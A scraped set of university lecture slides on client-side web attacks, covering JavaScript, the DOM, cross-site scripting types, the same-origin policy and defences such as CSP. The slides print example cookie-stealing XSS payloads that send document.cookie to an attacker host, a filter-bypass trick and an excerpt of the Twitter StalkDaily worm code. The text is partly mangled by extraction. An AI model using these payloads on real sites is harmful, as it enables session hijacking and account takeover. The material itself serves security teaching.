Attacks on Clients: JavaScript & XSS

Size: px

Start display at page:

Download "Attacks on Clients: JavaScript & XSS"

Gordon Burns
6 years ago
Views:

1 Web Security Attacks on Clients: JavaScript & XSS (Section on JavaScript; on XSS) 1

2 Last week: attacks on the server Attacks on web server: attacker/client sends malicious input to server malicious input web server 2

3 This week: attacks on the client 1. from a web-server 2. by a link in an , Word document,... (2) web browser malicious output (1) web server Malicious input to the browser can abuse 'standard' security flaws that exist in browsers just like in any software, eg buffer overflows special features that browsers provide, eg JavaScript 3

4 Also: attacks on user via a benign server another user of the same website web server data base malicious input 4

5 'Generic' security flaws in browser software 5

6 Browser bugs Web browser gets untrusted input from web server incl. from third party web-sites Bugs in the browser can become exploitable vulnerabilities also bugs in browser add-ons, or other helper applications Classic Denial of Service (DoS) example: IE image crash image with huge size could crash Internet Explorer and freeze Windows machine <HTML><BODY> <img src= a.jpg width = height= > </BODY><HTML> Things get more interesting as browser gets more complex and powerful, and languages involved are more complex 6

7 Example client side problem 7

8 More dangerous browser bugs Denial of Service bugs are the least of your worries... Possibility of drive-by-downloads where just visiting a webpage can install malware, by exploiting security holes in browser, graphics libraries, media players,... Check nvd.nist.gov/vuln/search for security vulnerabilities in the web browser you use 8

9 Dynamic webpages (Sect & in book) 9

10 Recall: dynamic web pages Most web pages do not just contain static HTML, but are dynamic: ie they contain executable content. This is an interesting attack vector. execution aka processing client-side scripting web browser web server 10

11 Dynamic Content Languages for dynamic content: JavaScript part of HTML(5) standard Flash, Silverlight,... ActiveX Java... JavaScript is by far the most widespread of these technologies: nearly all web pages include JavaScript not part of HTML, so require browser add-on CSS (Cascading Style Sheets)defines layout of headers, links, etc. Not quite execution, but can be abused, and can contain JavaScript. 11

12 Dynamic Content Usage of client-side programming languages for websites (for top 10 million websites in Alexa popularity ranking) (source: 12

13 JavaScript & the DOM (Sect 7.1.3) 13

14 JavaScript JavaScript is the leading language used in client-side scripting embedded in web page to support client-side dynamic behaviour ie. executed in user's webbrowser reacting on events (eg keyboard) and interacting with webpage JavaScript has NOTHING to do with Java Typical uses: user interaction with the web page Eg opening and closing menus, changing pictures, providing a clientside editor for input... JavaScript code can completely rewrite the contents of an HTML page without connecting to the web server! client-side input validation Eg has the user entered a correct date, a syntactically correct address or credit card number, or a strong enough password? NB such validation should not be security critical! Why? Malicious client can by-pass such validation! 14

15 Recipe for security disaster? In a web browser we have all the classic ingredients for disaster untrusted executable JavaScript, coming from all over the web confidential information usernames, passwords, cookies, credit card numbers, content of s, any information entered in web forms,... sensitive functionality ability to , tweet, buy things, pay for things, Web-browser has become attractive place to attack! Unfortunately, JavaScript is so widely used that turning it off is not an option 15

16 JavaScript (Sect in book) Scripting language interpreted by browser, with code in the HTML <script type="text/javascript">... </script> optional, default is javascript Built-in functions eg to change content of the window <script> alert("hello World!"); </script> A web page can define additional functions <script>function hi(){alert( Hello World! );}</script> Built-in event handlers for reacting to user actions <img src="pic.jpg" onmouseover="javascript:hi()"> Example: NB try out this example & look at the code for exam. 16

17 DOM (Document Object Model) DOM is representation of the content of a webpage, in OO style Webpage is an object document with sub-objects, such as document.url, document.referer, document.cookie, 17

18 DOM (Document Object Model) JavaScript can interact with the DOM to access or change parts of the current webpage incl. text, URL, cookies,... This gives JavaScript its real power! Eg it allows scripts to change layout and content of the webpage, open and menus in the webpage,... Demo/example: NB try out this example & look at the code for exam. 18

19 Security features The user environment is protected from malicious JavaScript programs by a sand-boxing environment inside browser JavaScript programs are protected from each other by compartementalisation Same-Origin-Policy: code can only access resources with the same origin site (more on that later) Such protection has its limits... 19

20 HTML injection & XSS 20

21 Search engine example sos Search No matches found for sos Try this yourself at 21

22 Search engine example <h1>sos</h1> Search No matches found for sos 22

23 What proper input validation should produce <h1>sos</h1> Search No matches found for sos or <h1>sos</h1> Search No matches found for <h1>sos</h1> Here < and > written as < and > in the HTML source. So these special characters have been escaped to make them harmless 23

24 More complicated HTML code as search term? <img source=" <img source= Search No matches found for 24

25 More complicated HTML code as search term? <script language= text/javascript"> </script> alert( Hello World! ); <script langu Search Here we entered executable code (JavaScript) No matches found for Such HTML injection is called Cross Site Scripting (XSS) 25

26 HTML injection HTML injection: user input is echoed back to the client without validation or escaping But why is this a security problem? 1 simple HTML injection attacker can deface a webpage, with pop-ups, ads, or fake info <h1>us troops invade Syria</h1> <img=...> Such HTML injections abuses trust that a user has in a website: the user believes the content is from the website, when in fact it comes from an attacker 2 XSS the injected HTML contains executable content, typically JavaScript Execution of this code can have all sorts of nasty effects... 26

27 XSS (Cross Site Scripting) Attacker inject scripts into a website, such that scripts are passed on to a victim scripts are executed in the victim s browser with the victim s access rights with the victim s data incl. cookies interacting with the user, with the webpage (using the DOM), causing new HTTP requests,... Usually injected scripts are JavaScript, but could be Flash, ActiveX, Java,... 27

28 Stealing cookies with XSS Consider window.open( + document.cookie)</script> What if user clicks on this link? 1. browser goes to 2. website victim.com returns <HTML> Results for <script>...</script> </HTML> 3. browser executes script and sends mafia his cookie 28

29 XSS processing of malicious scripts malicious output incl. scripts browser web server unwanted requests another web server 29

30 Stealing cookies using XSS More stealthy way of stealing cookies <script> img = new Image(); img.src = + </script> encodeuri(document.cookie) Better because the user won t notice a change in the webpage when this script is executed, unlike the one on the previous page 30

31 Stealing cookies using XSS More stealthy way of stealing cookies <script> img = new Image(); img.src = + </script> encodeuri(document.cookie) Better because the user won t notice a change in the webpage when this script is executed, unlike the one on the previous page 31

32 Delivery mechanism for XSS Different ways for an attacker to get scripts on to the victim s browsers 1. Reflected aka non-persistent XSS 2. Stored aka persistent XSS 3. DOM-based XSS 32

33 Scenario 1: reflected XSS attack Attacker crafts a special URL for a vulnerable web site, often a URL containing JavaScript Attacker then tempts victim to click on this link by sending an that includes the link, or posting this link on a website 33

34 reflected aka non-persistent XSS malicious URL web server HTML containing malicious output 34

35 Example of reflected XSS attack Web Server Attacker User 3. XSS Attack by link in 7. Browser runs injected code; attacker obtains cookie 4. User clicks on XSS link 35

36 Scenario 2: stored XSS attack Attacker injects HTML - incl. scripts - into a web site, which is stored at that web site This is echoed back later when victim visit the same site Typical examples where attacker can try this some web forum a book review on amazon.com a posting on blackboard.ru.nl... Web2.0 web sites, which allow user-generated content, are ideal for this. 36

37 Stored aka persistent XSS attacker storing malicious content on website malicious input web server data base HTML containing malicious output another user of the same website 37

38 Scenario 3: DOM-based attack Attacker injects malicious content into a webpage via existing scripts in that webpage that interact with the DOM Eg, the javascript code <script> var pos=document.url.indexof("name=")+5; document.write(document.url.substring(pos,document.url.length)); </script> in webpage will copy name parameter from URL into that webpage Eg, for it will return Jan But what if the URL contains javascript in the name? eg An attacker can now use a malicious URL (as in a reflected attack) 38

39 Scenario 3: DOM-based attack The injected payload can for instance be in the URL Details depend on the browser eg. browser may encode < and > in URL A good web application might spot a malicious URL but...the server may be by-passed and never get to see the malicious payload! Part of the URL after # is not sent to bla.com, but is part of document.url So server-side validation can t help... 39

40 Examples of XSS attacks 40

41 Example: persistent XSS vulnerability via twitter 41

Example: persistent XSS attack via Google docs save as CSV file in spreadsheets.google.com some web browsers render this content as HTML, and execute the script!

42 Example: persistent XSS attack via Google docs save as CSV file in spreadsheets.google.com some web browsers render this content as HTML, and execute the script! this then allows attacks on gmail.com, docs.google.com, code.google.com,.. because these all share the same cookie Is this the browser s fault, or the web-site s (ie google docs) fault? 42

43 Reflected XSS via error message Instead of search fields, error messages are also a well-known attack vector for reflected XSS Suppose returns a webpage with the error message "Resource foo is not found" Then </script> may return an error page with the script on it, and that script may then be executed by the browser 43

44 Included in twitter profile: Twitter StalkDaily worm <a href=" src=" >... where attack.js includes the following attack code var update = urlencode("hey everyone, join var ajaxconn = new XHConn();... ajaxconn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+ &tab=home&update=update"); var set = urlencode(' src=" </script><script src=" '); ajaxconn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+set+ &tab=home&update=update"); executed when you see this profile tweet the link change profile to include the attack code! 44

45 Same-Origin-Policy 45

46 Same-Origin-Policy (SOP) Idea: prevent (some) attacks by restricting interaction of HTML content coming from different origins. client browser twitter.com mafia.com 46

47 Same-Origin-Policy (SOP) Same-Origin-Policy intended to prevent attack from a malicious website on other web pages a user is interacting with Basic idea Scripts can only access information with same origin where origin is triple <URI scheme, address, port> eg <http, ru.nl, 80>, <https, ru.nl, 1080> HTML content belongs to origin where it was downloaded Scripts included in a HTML document have the origin of that document including them rationale: author of HTML page should know that scripts he includes are harmless See demos in and 47

48 Will SOP prevent cookie stealing? Suppose attacker injects cookie stealing script in blackboard.ru.nl Will the SOP prevent this script from accessing cookie? No! Scripts included in blackboard.ru.nl content will have access to the cookie of that domain. Even if the script is included via a link, such as <script src=" If the script is in an iframe downloaded from mafia.com, then it will not have access to the blackboard cookies 48

49 Circumventing the Same-Origin-Policy user s browser can t distinguish between good & bad scripts attacker uploads malicious content to twitter.com client browser attacker browser twitter.com mafia.com 49

50 Recap XSS involves attacker getting malicious (java)scripts in victim s browser, so that they are executed in the victim s browser with the victim s rights in the context of a web page from the attacked site Typical example: trying to steal cookies XSS is a special form of HTML injection the attacker injects HTML that happens to include scripts Different types of XSS: reflected or stored attack, or via DOM Same-Origin-Policy restricts some interactions but does not really prevent this 50

51 HTML injection vs SQL injection Common theme: attacker injects malicious data with special meaning, using special characters or words using ;... in SQL using <img> <script>... in HTML which are interpreted to have harmful consequence Difference: SQL injection is a server-side problem only HTML injection or XSS is client-side problem, but also a server-side problem, esp. in the case of stored/persistent XSS hence: not so clear who should or could solve the problem: the browser or the server? 51

52 Countermeasures against XSS 52

53 Input vs output problems? Is XSS due to lack of input validation or a lack of output validation 1. for reflected XSS attack? 2. for stored XSS attack? Should we do input validation or output validation to prevent XSS? Should the web browser or the server do this? Why not both? 53

54 input & output validation aka sanitisation browser output validation server input validation browser browser input validation server output validation web server data base Can the browser sanitise HTTP traffic to prevent XSS? by looking for suspicous content in outgoing HTTP requests or in incoming HTTP responses, which include the HTML code? Can the server sanitise HTTP traffic to prevent XSS? by looking for suspicous content in incoming HTTP requests or outgoing HTTP response, which include the HTML code? 54

55 Server-side validation Web server should validate aka escape aka sanitise HTML tags in any input received from the browser eg Blackboard can try to filter <script> tags in user input to a forum Some web servers use a separate web application firewall (waf) for this. Web server can also try to validate outgoing HTML, but it might be hard to spot at that stage which pieces of JavaScript are harmful Servers can also do validation when data is passed to or taken from the back-end database. However, sanitization is a never-ending cat & mouse game, with attackers always finding cleverer ways to obfuscate their malicious code To get an impression, see the depressingly long list of attackers tricks on 55

56 Example: by-passing server-side validation Suppose a web application does not allow use of / and attacker wants to include var s = new RegExp("http: myserver evilscr.js"); slash = location.href.charat(6); // code can now use slash to insert the slashes in s... i.e. JavaScript code copies the / from the URL (location.href) and then inserts this character in the right places in the string s 56

57 Other server-side countermeasures Additionally, the impact of having cookies can be reduced, eg by using tagged cookies include IP address in cookie disallow use of a cookie from a different IP address This prevents the use of a cookie by the attacker from another domain, but not abuse by javascript running in the victim's browser, as that comes from the original IP address Sandboxing options for iframes can be used to restrict what capabilities the content inside those iframes have 57

58 Sandboxing for iframes in HTML5 HTML5 introduced a sandbox option to restrict what an iframe can do Just turning on the sandbox with no further options <iframe sandbox src="..."> </iframe> will block imposes many restrictions, incl. no JavaScript can be executed pop-up windows are blocked sending of forms is blocked... These restrictions can be lifted one-by-one, eg <iframe sandbox allow-scripts allow-forms allow-pop-ups allow-same-origin src="..."> </ > For full list of options see 58

59 Client-side validation Browsers can try to protect against reflected XSS attacks by doing output sanitisation Eg if Chrome notices a script in a URL that is visited then it will not execute that script if it is included in the HTML result Trying to by-pass such defenses, and improving these defenses, is a never-ending cat-and-mouse game Browsers cannot protect against stored XSS attacks by doing input validation: It is hard/impossible for browser to tell which scripts are benign scripts from say blackboard, and which are malicious injected into blackboard by an attacker (unless CSP is used see later) 59

60 CSP (Content Security Policy) in HTML5 In a (Content-Security-Policy) HTTP header a website can provide a whitelist of scripts that the browser should allow Eg Content-Security-Policy: script-src 'self' only allows scripts inlined the HTML (self) scripts downloaded from apis.google.com to be executed Here the server gives the client some extra info so that the client can stop malicious scripts an attacker managed to inject. 60

61 CSP (Content Security Policy) Example evil script caught by CSP Warning: gettting CSP exactly right can be tricky, and some CSP policies turn out to be circumventable. 61

62 More client-side XSS protection Most browsers can block pop-up windows & multiple alerts Browser can disable scripts on a per-domain basis disallowing all script except those permitted by user disallowing all scripts on a public blacklist For example, NoScript extension of Firefox NotScripts and ScriptSafe extension of Chrome Ad-blocker plugins can also reduce the risk of XSS, as third party ads on website are a way for attackers to inject malicious content 62

63 More general dangers of JavaScript... 63

64 Windows Defender bug [CVE , May 9, 2017 (!) ] Some anti-virus solutions try to stop malicious JavaScript, by 1. looking for any JavaScript code in HTML s, IM, running this JavaScript in a sandbox, to see if it does anything strange Windows Defender does this, using the NScript JavaScript engine inside MsMpEng Malware protection engine Unfortunately... There was a bug in NScript... allowing malformed JavaScript to cause memory errors & take over a machine NScript runs at a very high privilige level Oops... Recall 'Defence in Depth' comment, about always running with minimal privilige level, from last week!

7.2.4 on Media content; on XSS) sws2 1

7.2.4 on Media content; on XSS) sws2 1 Software and Web Security 2 Attacks on Clients (Section 7.1.3 on JavaScript; 7.2.4 on Media content; 7.2.6 on XSS) sws2 1 Last week: web server can be attacked by malicious input web browser web server